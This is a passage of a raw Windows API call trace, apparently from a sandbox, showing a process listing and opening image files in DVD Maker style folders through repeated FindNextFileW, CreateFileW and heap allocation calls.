ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 0 [0068.110] GetLastError () returned 0x12 [0068.110] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9140 [0068.111] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0068.111] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.111] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0068.111] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0068.111] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="dotsdarkoverlay.png", cAlternateFileName="")) returned 1 [0068.111] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x123d, dwReserved0=0x0, dwReserved1=0x0, cFileName="dotslightoverlay.png", cAlternateFileName="")) returned 1 [0068.111] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6794, dwReserved0=0x0, dwReserved1=0x0, cFileName="full.png", cAlternateFileName="")) returned 1 [0068.111] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0068.111] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0068.111] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0068.111] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0068.111] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0068.111] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f199665, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f199665, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0068.111] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f231bd9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f231bd9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 1 [0068.111] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f231bd9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f231bd9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 0 [0068.111] GetLastError () returned 0x12 [0068.111] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.111] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0068.112] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa0ad40) returned 1 [0068.112] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0068.112] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0068.112] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea2923b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea2923b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="heart_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0068.112] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1278, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0068.112] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eeebddb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eeebddb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x166e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_VideoInset.png", cAlternateFileName="")) returned 1 [0068.112] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HueCycle", cAlternateFileName="")) returned 1 [0068.112] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0068.112] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.123] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0068.124] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0068.124] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa129b8 [0068.124] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa129b8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa129b8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0068.124] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa129b8) returned 1 [0068.124] NtClose (Handle=0x170) returned 0x0 [0068.124] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0068.124] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0068.124] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.124] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.124] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9140 [0068.134] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.135] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6faf8c48, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6faf8c48, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0068.135] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.135] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.135] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.135] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.135] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.135] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0ad40 [0068.135] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.135] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa116c8 [0068.135] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0f858 [0068.135] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.135] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb1eda5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb1eda5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0068.135] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.135] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.136] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa116e8 [0068.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0f960 [0068.136] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.136] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fad2aeb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fad2aeb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x43e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="colorcycle.png", cAlternateFileName="")) returned 1 [0068.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.136] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.136] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa11708 [0068.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0fa68 [0068.136] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.136] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb44f02, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb44f02, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb57, dwReserved0=0x0, dwReserved1=0x0, cFileName="huemainsubpicture2.png", cAlternateFileName="")) returned 1 [0068.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.136] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.136] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa11728 [0068.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0fb70 [0068.136] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.137] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc29730, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc29730, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0068.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.137] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.137] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa11748 [0068.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0fc78 [0068.137] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.137] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0068.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.137] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.137] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa11768 [0068.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0fd80 [0068.137] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.137] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0068.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.137] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.137] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa11788 [0068.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0fe88 [0068.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.138] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0068.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa117a8 [0068.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0ff90 [0068.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.138] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0068.138] 